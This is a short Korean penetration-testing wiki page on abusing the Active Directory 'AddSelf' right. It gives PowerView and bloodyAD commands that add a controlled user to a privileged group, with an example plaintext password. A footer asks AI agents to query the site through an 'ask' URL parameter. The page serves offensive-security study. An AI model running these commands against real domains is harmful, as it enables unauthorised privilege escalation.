# AddSelf

객체에 대해 Add/remove self as member 권한이 있다면 블러드하운드에서 AddSelf로 표시되며 스스로를 도메인 멤버에서 추가/제거 할 수 있습니다.

<figure><img src="/files/IB7TlJmlBC9IvSEsvTNA" alt=""><figcaption></figcaption></figure>

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># AddSelf 권한이 있는 사용자 자격증명을 객체로 저장
</strong>$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)

<strong># 저장한 객체정보를 권한이 있는 그룹에 위임
</strong>Add-DomainGroupMember -Identity 'local_member' -Members 'user-A' -Credential $Cred

<strong># 그룹의 멤버를 확인하여 정상적으로 위임이 되었는지 확인
</strong>Get-DomainGroupMember -Identity 'local_member'
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># 권한이 있는 계정의 TGT를 환경변수에 저장 후 사용
</strong>bloodyAD -d 'contoso.com' -k --host 'dc01.contoso.com' add groupMember 'LOCAL_MEMBER' 'user-A'
</code></pre>

{% endtab %}
{% endtabs %}

## References

{% embed url="<https://support.bloodhoundenterprise.io/hc/en-us/articles/17358095502363-AddSelf>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/active-directory/dacl/addself.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
